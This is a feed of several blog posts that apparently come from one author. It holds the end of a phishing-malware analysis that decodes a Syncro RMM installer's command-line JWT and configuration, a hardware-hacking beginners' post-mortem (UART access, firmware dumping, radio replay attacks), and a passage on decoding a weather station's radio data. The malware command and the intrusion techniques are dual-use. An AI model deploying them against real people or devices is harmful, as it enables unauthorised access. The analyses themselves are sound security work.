&lt;p&gt;&lt;a href="https://syncromsp.com/platform/rmm/" rel="noopener noreferrer"&gt;Syncro&lt;/a&gt; is &lt;em&gt;yet another&lt;/em&gt; Remote Monitoring and Management (RMM) tool which seems to have changed names at some point from Kabuto (name still used to download the tool from &lt;a href="https://production.kabutoservices.com/" rel="noopener noreferrer"&gt;https://production.kabutoservices.com/&lt;/a&gt;). And the tool seems to be owned by RepairTech (&lt;a href="https://www.repairtechsolutions.com/documentation/kabuto/" rel="noopener noreferrer"&gt;https://www.repairtechsolutions.com/documentation/kabuto/&lt;/a&gt;), which is still in the tool installation path: &lt;code&gt;%ProgramFiles%\repairtech\syncro\install.bat&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Looking at the malware’s execution first command, we can also see that it passes by argument both a JWT token and a configuration file in base64:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight batchfile"&gt;&lt;code&gt;&lt;span class="s2"&gt;"C:\Users\admin\AppData\Local\Temp\Syncro.Installer.exe"&lt;/span&gt; &lt;span class="na"&gt;--jwt-payload &lt;/span&gt;&lt;span class="s2"&gt;"eyJ0eXAiOiJKV1QiLCJhbGciOiJFUzI1NiJ9.eyJ2ZXJzaW9uIjoxLCJpbnN0YWxsIjp7InNob3AiOiJ1Q2xLcVpHU2dkcVR6aldXWHREWHZRIiwiY3VzdG9tZXJfaWQiOjE3NjAzMDEsImZvbGRlcl9pZCI6NDczMDUzNn0sInNlcnZpY2luZyI6eyJjaGFubmVsIjoic3luY3JvLXJ0bSIsInRhcmdldCI6InN5bmNybyJ9fQ.L7Ch7BjgPHpGqlOAnXdQLncIdXzq8xjjb7GDpDdPMypo3_qX6VV_c9sbmxvCkelI0tkyLcSHyEWEYLQ4QijxAw"&lt;/span&gt; &lt;span class="na"&gt;--config-json &lt;/span&gt;&lt;span class="s2"&gt;"ewogICJBdXRoVXJsIjogImh0dHBzOi8vYWRtaW4uc3luY3JvYXBpLmNvbSIsCiAgIkthYnV0b1VybCI6ICJodHRwczovL3JtbS5zeW5jcm9tc3AuY29tIiwKICAiU3luY3JvVXJscyI6IFsKICAgICJodHRwczovL3tzdWJkb21haW59LnN5bmNyb2FwaS5jb20iLAogICAgImh0dHBzOi8ve3N1YmRvbWFpbn0uc3luY3JvbXNwLmNvbSJdLAogICJMb2dEdW1wZXJVcmwiOiAiaHR0cHM6Ly9sZC5hdXJlbGl1cy5ob3N0IiwKICAiVXBkYXRlVXJsIjogImh0dHBzOi8vcHJvZHVjdGlvbi5rYWJ1dG9zZXJ2aWNlcy5jb20vc3luY3JvL21haW4vdXBkYXRlcy8iLAogICJPdmVybWluZFVwZGF0ZVVybCI6ICJodHRwczovL3Byb2R1Y3Rpb24ua2FidXRvc2VydmljZXMuY29tL3N5bmNyby9vdmVybWluZC91cGRhdGVzLyIsCiAgIkNob2NvbGF0ZXlJbnN0YWxsZXJVcmwiOiAiaHR0cHM6Ly9wcm9kdWN0aW9uLmthYnV0b3NlcnZpY2VzLmNvbS9jaG9jby9rYWJ1dG9fcGF0Y2hfbWFuYWdlciIsCiAgIldlYlNvY2tldFVybCI6ICJ3c3M6Ly9yZWFsdGltZS5rYWJ1dG9zZXJ2aWNlcy5jb20vc29ja2V0IiwKICAiQ2hhdFVybCI6ICJ3c3M6Ly9jaGF0LWNoYXQuc3luY3JvbXNwLmNvbS9zb2NrZXQiLAogICJfIjogIiIKfQo="&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;By decoding the &lt;a href="https://www.jwt.io/" rel="noopener noreferrer"&gt;JWT token&lt;/a&gt; we can see the authentication payload passed to Syncro:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"version"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"install"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"shop"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"uClKqZGSgdqTzjWWXtDXvQ"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"customer_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1760301&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"folder_id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4730536&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"servicing"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"channel"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"syncro-rtm"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"target"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"syncro"&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And by looking at the configuration, we can also find more details about the installation configuration:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"AuthUrl"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://admin.syncroapi.com"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"KabutoUrl"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://rmm.syncromsp.com"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"SyncroUrls"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="s2"&gt;"https://{subdomain}.syncroapi.com"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="s2"&gt;"https://{subdomain}.syncromsp.com"&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"LogDumperUrl"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://ld.aurelius.host"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"UpdateUrl"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://production.kabutoservices.com/syncro/main/updates/"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"OvermindUpdateUrl"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://production.kabutoservices.com/syncro/overmind/updates/"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"ChocolateyInstallerUrl"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://production.kabutoservices.com/choco/kabuto_patch_manager"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"WebSocketUrl"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"wss://realtime.kabutoservices.com/socket"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"ChatUrl"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"wss://chat-chat.syncromsp.com/socket"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"_"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;""&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So, at the end of the day, we can find that the trojan, &lt;em&gt;if we can call it such&lt;/em&gt;, was nothing more than a bundled version of a, let’s say, shady RMM tool, which, if installed, would provide the attacker full access to the victim’s computer. And I can almost bet that the attacker’s are leveraging the &lt;code&gt;Free trial&lt;/code&gt; provided by Syncro.&lt;/p&gt;

&lt;p&gt;The last piece of the puzzle was to understand how it bypassed so many antivirus programs, but this is easily explained by the verified signature of the RMM software by &lt;code&gt;Servably Inc.&lt;/code&gt;, yet another name for the same company. The certificate details can be found in &lt;a href="https://bazaar.abuse.ch/sample/acc6721dbddad55c6a76b460a8a53bc5d4e97d00990e4cac686b2ab2877e1a91/" rel="noopener noreferrer"&gt;abuse.ch&lt;/a&gt; where we can see that the same signature was used in at least another 15 samples.&lt;/p&gt;

&lt;h2&gt;
  
  
  Timeline
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;[15/11/2025] Phishing email received&lt;/li&gt;
&lt;li&gt;[16/11/2025] Domain reported to &lt;a href="https://www.registry.google/" rel="noopener noreferrer"&gt;Google&lt;/a&gt;. File reported as abuse to &lt;a href="https://gofile.io/" rel="noopener noreferrer"&gt;Gofile&lt;/a&gt;. Syncro abuse also reported to the company without any reply.&lt;/li&gt;
&lt;li&gt;[17/11/2025] Domain takedown.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Footnotes
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;a href="https://cyberarmor.tech/blog/threat-insight-cybercriminals-abusing-vercel-to-deliver-remote-access-malware" rel="noopener noreferrer"&gt;Threat Insight: Cybercriminals Abusing Vercel to Deliver Remote Access Malware&lt;/a&gt;. ↩
&lt;/li&gt;
&lt;/ol&gt;

</description>
      <category>phishing</category>
      <category>malware</category>
      <category>uphold</category>
      <category>infosec</category>
    </item>
    <item>
      <title>Hardware Hacking 101 Village - Post-Mortem</title>
      <dc:creator>JP Dias</dc:creator>
      <pubDate>Fri, 25 Jul 2025 00:00:00 +0000</pubDate>
      <link>https://dev.to/jpdias/hardware-hacking-101-village-post-mortem-3je5</link>
      <guid>https://dev.to/jpdias/hardware-hacking-101-village-post-mortem-3je5</guid>
      <description>&lt;p&gt;On June 14, 2025, I organized a hardware hacking focused village as part of the ØxＯＰＯＳɆＣ Hack Day, and this is a post-mortem analysis of the village, focusing on some of the observations and common mishaps, and how to improve your journey in the hardware hacking world, especially from a beginner’s standpoint.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1x37zqqfeq4z6tq5tt8n.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F1x37zqqfeq4z6tq5tt8n.jpeg" alt="Hack Day event" width="468" height="188"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Get the Basics Right: Learn Electronics and Hardware Programming
&lt;/h2&gt;

&lt;p&gt;Before diving into the world of hardware hacking, learn the basics of hardware programming and electronics. Using the craziest fault injection technique will seem like magic if you don’t understand why bit flips happen and what that implies, e.g., in jumping instructions. So get your hands on a cheap Arduino Nano, or ESP32, some protoboard and some sensors, and get your hands dirty building something. You have plenty of places to find beginner projects, e.g., &lt;a href="https://projecthub.arduino.cc/" rel="noopener noreferrer"&gt;Arduino ProjectHub&lt;/a&gt; and &lt;a href="https://hackaday.io/discover" rel="noopener noreferrer"&gt;Hackaday.io&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Collect Target Devices
&lt;/h2&gt;

&lt;p&gt;You know that old router you’re going to throw away? Keep it! Ask your friends if they have old IoT devices that they no longer use. Buy cheap IP cameras from AliExpress. The goal is variety, not quality. Different manufacturers create things differently, so there are more tricks and quirks to learn and experiment with. Just collect hardware. They are fun to play with – and also easy to ruin – and &lt;a href="https://en.wikipedia.org/wiki/Magic_smoke" rel="noopener noreferrer"&gt;once you free the magic smoke, there is no going back&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Don’t Be Afraid of Soldering
&lt;/h2&gt;

&lt;p&gt;If you are playing in the world of hardware, you will unavoidably need to solder at some point. Get a regulatable temperature soldering iron (like these fancy &lt;a href="https://pine64.com/product/pinecil-smart-mini-portable-soldering-iron/" rel="noopener noreferrer"&gt;Pinecil $30 USB-C powered ones&lt;/a&gt;) and you are good to go. But only solder when you need to – most of the time you can get away with &lt;a href="https://www.tindie.com/products/johnnywu/254mm-pcb-probe-clip/" rel="noopener noreferrer"&gt;pogo pins&lt;/a&gt;, &lt;a href="https://www.amazon.com/flexman-Multimeter-Adapter-Electronic-Testing/dp/B0CRD9X58B" rel="noopener noreferrer"&gt;Micro IC Hook Clips&lt;/a&gt; or &lt;a href="https://www.thingiverse.com/thing:2318886" rel="noopener noreferrer"&gt;fancy needle-probes&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;If you want to build a fancy version, I recommend &lt;a href="https://hackaday.com/2019/11/15/needling-your-projects-3d-printed-pcb-probing-jig-uses-accupuncture-needles/" rel="noopener noreferrer"&gt;this 3D-printed PCB probing jig&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Serial Interfaces Everywhere
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://www.amazon.es/TECNOIOT-FT232RL-Serial-Converter-Adapter/dp/B083M61T3J" rel="noopener noreferrer"&gt;FT232RL USB-to-serial converters&lt;/a&gt; are essential. Get USB-C versions if possible. UART interfaces are your gateway to most devices.&lt;/p&gt;

&lt;h2&gt;
  
  
  Logic Analyzers: Cheap Works
&lt;/h2&gt;

&lt;p&gt;Get a &lt;a href="https://www.amazon.es/Analizador-segundos-analizador-Depurador-herramienta/dp/B0FGP46Y9Z" rel="noopener noreferrer"&gt;cheap 8-channel logic analyzer&lt;/a&gt;. €20 gets you something that is fiddly to work with, but it should work for most scenarios, even if it needs some trial and error. Don’t expect high accuracy or the ability to record high baudrate signals, but those are not that common on consumer-level devices.&lt;/p&gt;

&lt;p&gt;Also, use simple UI software. &lt;a href="https://www.saleae.com/downloads/" rel="noopener noreferrer"&gt;Saleae Logic software&lt;/a&gt; and &lt;a href="https://sigrok.org/wiki/PulseView" rel="noopener noreferrer"&gt;sigrok/PulseView&lt;/a&gt; are both free and work with these cheap analyzers. You get professional-grade protocol decoding without the professional price tag.&lt;/p&gt;

&lt;h2&gt;
  
  
  Multimeters: Get One, and Then Another One
&lt;/h2&gt;

&lt;p&gt;Start cheap; anything will mostly work. But a proper UNI-T or equivalent brand multimeter around €80 is worth it. You get accurate readings and something you can trust for both electronics and home repairs involving high voltage (be careful anyway).&lt;/p&gt;

&lt;h2&gt;
  
  
  Most Things Are Obvious
&lt;/h2&gt;

&lt;p&gt;Debug pins are labeled on PCBs. Test points have silk screen text. UART interfaces sit there waiting. Manufacturers assume no one will look (or they don’t care enough).&lt;/p&gt;

&lt;h2&gt;
  
  
  Fault Injection on a Budget
&lt;/h2&gt;

&lt;p&gt;Need fault injection? A mosquito net works. &lt;a href="https://www.da.vidbuchanan.co.uk/blog/dram-emfi.html" rel="noopener noreferrer"&gt;David Buchanan’s DRAM EMFI technique&lt;/a&gt; shows how simple solutions are sometimes all you need. Before trying fault injection on real-world devices, start with things you have programmed yourself – that way you can easily understand what is going on.&lt;/p&gt;

&lt;h2&gt;
  
  
  Software That Works
&lt;/h2&gt;

&lt;p&gt;Don’t be hard on yourself by forcing yourself to learn crazy terminal interfaces with too many flags for any human being to know by heart unless you work with them constantly. UIs were created for a reason – use them!&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://gitlab.com/cutecom/cutecom" rel="noopener noreferrer"&gt;CuteCom&lt;/a&gt; for serial communications.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://github.com/bigbigmdm/IMSProg" rel="noopener noreferrer"&gt;IMSProg&lt;/a&gt; for EEPROM work.&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://github.com/NationalSecurityAgency/ghidra" rel="noopener noreferrer"&gt;Ghidra&lt;/a&gt; for reverse engineering.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;UIs save time. Your brain should focus on the problem, not command flags and syntax.&lt;/p&gt;

&lt;h2&gt;
  
  
  Firmware Is Right There
&lt;/h2&gt;

&lt;p&gt;Most firmware is accessible through the bootloader. Connect to UART, interrupt the boot process, dump flash contents. No need for complex extraction.&lt;/p&gt;

&lt;p&gt;Once you have firmware, &lt;a href="https://github.com/ReFirmLabs/binwalk" rel="noopener noreferrer"&gt;binwalk&lt;/a&gt; does the heavy lifting. Extract filesystems, find interesting files, analyze without reverse engineering. Sometimes you don’t even need Ghidra – &lt;code&gt;grep&lt;/code&gt; will take you a long way. Search for certificates, endpoints, passwords… they will be there.&lt;/p&gt;

&lt;p&gt;Check out my &lt;a href="https://jpdias.me/hardware/2021/02/02/adventures-in-reverse-dlink.html" rel="noopener noreferrer"&gt;previous adventure with a D-Link router&lt;/a&gt; for a practical example of this workflow - bootloader access, firmware extraction, and finding vulnerabilities in plain text configuration files.&lt;/p&gt;

&lt;h2&gt;
  
  
  Radio Waves: The Invisible Attack Surface
&lt;/h2&gt;

&lt;p&gt;IoT devices love wireless communication, and most of it happens on unlicensed bands that you can legally intercept. For the other bands, you can at least &lt;em&gt;hear them&lt;/em&gt;. Get a &lt;a href="https://www.nooelec.com/store/sdr.html" rel="noopener noreferrer"&gt;NooElec RTL-SDR dongle&lt;/a&gt; for around $30 and suddenly you can see the radio spectrum. 433MHz, 868MHz, 915MHz – these frequencies are where garage doors, weather stations, car key fobs, and cheap IoT sensors live.&lt;/p&gt;

&lt;p&gt;Start with &lt;a href="https://airspy.com/download/" rel="noopener noreferrer"&gt;SDR#&lt;/a&gt; or &lt;a href="https://gqrx.dk/" rel="noopener noreferrer"&gt;GQRX&lt;/a&gt; to visualize signals. Most protocols are simple – no encryption, predictable patterns, and easily susceptible to replay attacks. That smart doorbell? Probably sending data in plain text – and a good prank to make your neighbor’s bell ring. Your car’s tire pressure sensors? Definitely no authentication.&lt;/p&gt;

&lt;p&gt;Don’t forget about 2.4GHz either. WiFi and Bluetooth are everywhere, with a lot of WEP access points still in the wild, as well as hardcoded authentication on Bluetooth low energy – that you can play with using some cheap &lt;a href="https://microbit.org/" rel="noopener noreferrer"&gt;micro:bits&lt;/a&gt; and &lt;a href="https://github.com/virtualabs/btlejack" rel="noopener noreferrer"&gt;btlejack&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  3, 2, 1, &lt;em&gt;GO!&lt;/em&gt;
&lt;/h2&gt;

&lt;p&gt;Hardware hacking isn’t about expensive gear or obscure exploits. It’s about learning the concepts, trying things out, letting some magic smoke escape, and finding that juicy UART port that already has the debug pins soldered from the factory. Start with simple tools, find targets, and explore. The hardware world is full of secrets hiding in plain sight, sometimes even labeled.&lt;/p&gt;

&lt;p&gt;If you participated in the village, thank you for attending. And, as always, kudos to ØxＯＰＯＳɆＣ, to the event organizers and to the community that keeps these events alive.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;P.S.&lt;/em&gt; If you want to get some inspiration on what hardware to buy, check my &lt;a href="https://jpdias.me/security/2024/05/05/hardware-hacking-inventory.html" rel="noopener noreferrer"&gt;previous post about my go-to toolkit&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>hardware</category>
      <category>hacking</category>
      <category>router</category>
      <category>iot</category>
    </item>
    <item>
      <title>How to Run Your Own Weather Station</title>
      <dc:creator>JP Dias</dc:creator>
      <pubDate>Fri, 02 May 2025 00:00:00 +0000</pubDate>
      <link>https://dev.to/jpdias/how-to-run-your-own-weather-station-95f</link>
      <guid>https://dev.to/jpdias/how-to-run-your-own-weather-station-95f</guid>
      <description>&lt;p&gt;Some months ago I decided to finally acquire a weather station. Nothing fancy, just a cheap enough, no frills, weather station. As I wanted to have the least amount of trouble setting it up, I bought a WiFi-enabled unit, in a way I could stream the data, somehow, via Internet. However, things going smoothly is a rare sight, and there is always more to it. So let’s dive into how to stream data to the Internet with a not-so-WiFi-enabled station.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Acquisition
&lt;/h2&gt;

&lt;p&gt;After looking at some deals here and there, I finally found a station with a price tag of ~100€, which seemed like a good deal, the &lt;a href="https://www.bresser.com/p/bresser-wi-fi-clearview-weather-station-with-7-in-1-sensor-7002586" rel="noopener noreferrer"&gt;Bresser WIFI ClearView 7-in-1 (ref. 7002586)&lt;/a&gt;. The description stated that it came with sensors for measuring wind, humidity, temperature, rainfall, UV level, and light intensity, which would be more than enough for my purpose.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhi2zi9mxqik6v5djavea.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhi2zi9mxqik6v5djavea.jpg" alt="Weather station monitor" width="800" height="604"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It took only a few days and the package arrived. However, the package stated &lt;em&gt;8 in 1&lt;/em&gt; — a fact that I simply ignored. So I proceeded to just install and configure the station. Which boils down to connecting the base station to a power source, adding 4 AA batteries to the sensor station, and installing it on the balcony.&lt;/p&gt;

&lt;p&gt;Later that day, I decided to configure the WiFi settings — and that’s when the problems began. The station is supposed to create an access point that can be used to do the first configuration, but no access point was found.After fiddling with it for a while, I decided to give the manual a shot &lt;del&gt;RTFM&lt;/del&gt; , just to find out that there was nothing about WiFi in there. So, after all, it hit me: I had been shipped the wrong model, the &lt;a href="https://www.bresser.com/p/bresser-8-in-1-clearviewtb-weather-station-7003150" rel="noopener noreferrer"&gt;Bresser 8-in-1 ClearViewTB Weather Station (ref. 7003150)&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvpajmaauqfeopv8b4vfl.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fvpajmaauqfeopv8b4vfl.jpeg" alt="Weather station monitor" width="800" height="457"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Of course I didn’t want all the trouble of shipping it back (especially because it was already mounted), so I went the &lt;em&gt;hard way&lt;/em&gt;. After just confirming that the transmission protocol of the weather sensor station back to the main station was non-encrypted at 868Mhz, it seemed the perfect project to give some use to some of the hardware that I have laying around.&lt;/p&gt;

&lt;h2&gt;
  
  
  The BresserWeatherSensorReceive Project
&lt;/h2&gt;

&lt;p&gt;Of course, I’m not the first one to want to decode the data from the Bresser weather stations. And the work done by &lt;a href="https://github.com/matthias-bs/BresserWeatherSensorReceiver" rel="noopener noreferrer"&gt;mathias-bs on the project BresserWeatherSensorReceiver&lt;/a&gt; is the keystone here. Capable of decoding data from most Bresser station models, this piece of magic code can be deployed on any Arduino-compatible platform and just read the data, if you have a compatible radio, namely the CC1101, SX1276/RFM95W, SX1262 or LR1121. If you look carefully to this radio chip list, the SX1276 is a known chip used for LoRa protocol, that also uses 868Mhz in Europe, which is bundle together in a nice packaging in the &lt;a href="https://lilygo.cc/products/lora3?variant=42272562282677" rel="noopener noreferrer"&gt;TTGO LoRa32 V2.1 (1.6.1)&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;So, having one of those lying around I just created a new PlatformIO project with the example from mathias-bs hoping that everything worked out of the box &lt;del&gt;(famous last words)&lt;/del&gt;. Of course, nothing is ever so easy, and the library didn’t support decoding of the specific model that I got, and the data was empty, so the decoding was failing completely.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Id: [6241] Typ: [D] Ch: [0] St: [0] Bat: [Low] RSSI: [-107.5dBm] 
Temp: [---.-C] Hum: [---%] Wmax: [--.-m/s] Wavg: [--.-m/s] Wdir: [---.-deg] Rain: [-----.-mm] UVidx: [--.-] Light: [--.-klx] 
[334842][V][WeatherSensor.cpp:392] getMessage(): [SX1276] Data: D4 6E A7 C8 EB 88 2A D8 AD AA FD AA A8 98 AA BF FC 3E AA 82 22 AA AA BE 3A AA 00 
[334854][D][WeatherSensor.cpp:394] getMessage(): [SX1276] R [D4] RSSI: -70.5
[334861][D][WeatherSensor.h:647] log_message(): Byte #: 00 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 
[334874][D][WeatherSensor.h:657] log_message(): De-whitened Data: C4 0D 62 41 22 80 72 07 00 57 00 02 32 00 15 56 94 00 28 88 00 00 14 90 00 AA 
[334887][V][WeatherSensorDecoders.cpp:67] findSlot(): find_slot(): ID=00006241
[334894][D][WeatherSensorDecoders.cpp:105] findSlot(): sensor[0]: v=0 id=0x00006241 t=13 c=0
[334902][V][WeatherSensorDecoders.cpp:130] findSlot(): find_slot(): Storing into slot #0

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;As, unfortunately, time does not grow on trees, I didn’t have the time to dedicate myself to understand the protocol and decode the station data as needed. Thus I went the lazy way and opened an issue on the mathias-bs repository &lt;a href="https://github.com/matthias-bs/BresserWeatherSensorReceiver/issues/220#issuecomment-2715162555" rel="noopener noreferrer"&gt;Request for support for 7003150 8 in 1 station #220&lt;/a&gt;. The answer to the request was swift and in the space of a day I had a working solution. The station features a not-so-common sensor known as a “globe thermometer”, which is used to calculate the Wet Bulb Globe Temperature (WBGT)&lt;sup id="fnref:1"&gt;1&lt;/sup&gt;.&lt;/p&gt;

&lt;p&gt;At last, we had correct data for the weather station being streamed and matching the values displayed on the display unit.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Id: [6241] Typ: [D] Ch: [0] St: [0] Bat: [Low] RSSI: [-104.5dBm]
Temp: [9.6C] Hum: [83%] Wmax: [3.9m/s] Wavg: [3.8m/s] Wdir: [287.0deg] Rain: [67.6mm] UVidx: [0.0] Light: [0.5klx] 
